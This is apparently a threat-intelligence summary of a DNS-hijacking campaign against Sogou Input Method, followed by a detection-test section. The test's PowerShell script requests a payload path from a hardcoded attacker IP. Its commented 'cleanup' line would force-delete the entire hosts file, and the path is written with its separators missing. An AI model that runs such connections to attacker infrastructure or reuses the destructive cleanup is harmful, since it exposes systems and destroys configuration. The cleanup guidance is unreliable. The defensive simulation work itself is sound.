SlippyNunchucks Malware Campaign Exploits Sogou Brand Promotion

Summary

The SlippyNunchucks threat actor uses DNS hijacking to intercept insecure HTTP traffic generated by Sogou Input Method. This enables attackers to inject a malicious configuration that initiates the download of the DarkVigil malware implant through side-loading techniques. The campaign primarily targets Chinese-speaking users across regions in Asia and Europe.

Investigation

ESET researchers discovered that the group abuses the brand promotion mechanism within Sogou Input Method, particularly the SGTool.exe component. DNS manipulation redirects requests intended for legitimate configuration endpoints toward attacker-controlled staging infrastructure. The investigation also uncovered a multi-stage side-loading chain involving a legitimate Adobe executable renamed to conceal its presence.

Mitigation

Tencent addressed the issue in Sogou Input Method version 16.10 by migrating affected HTTP requests to HTTPS and introducing TLS certificate validation. Users should update to the latest available software version to prevent DNS hijacking attacks from injecting and delivering malicious configurations.

Response

When malicious activity is detected, organizations should investigate unauthorized DNS modifications and inspect network traffic for connections to known staging domains such as sogou-cdn.com. Security teams should also monitor suspicious child processes spawned by Sogou Input Method components, including unexpected execution of renamed Adobe binaries or unsigned DLLs loaded from component directories.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary aims to simulate a DNS hijacking scenario where a request to config.pinyin.sogou.com is diverted to a malicious IP. To trigger the specific detection rule provided, the simulation will bypass local DNS and use a hardcoded IP address (47.239.250.102) that matches the rule’s criteria. This mimics the moment the hijacked DNS response directs the Sogou software to an attacker-controlled server to download a payload.

• Regression Test Script:

  # Simulation of DNS Hijacking via hardcoded IP connection to trigger the specific rule
  # This mimics the Sogou Input Method attempting to reach its config server 
  # but being redirected to a malicious IP.
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] Starting simulation of DNS Hijacking telemetry generation..."
  
  # We use a direct IP connection to mimic the effect of a hijacked DNS resolution
  # Many proxy logs will record the domain requested via the Host header 
  # even if the connection is made via IP.
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] Attempting connection to $TargetDomain via $MaliciousIP"
  
      # Using Invoke-WebRequest to simulate the network traffic through the proxy
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] Connection failed (Expected, as the IP is likely offline), but telemetry should have been generated."
  }
  
  Write-Host "[*] Simulation complete."

• Cleanup Commands:

  # No persistent changes are made by this simulation script.
  # To clean up network-level artifacts if any were added (e.g., hosts file), use:
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force (Requires Admin)
  Write-Host "[*] Cleanup complete. No persistent artifacts were created."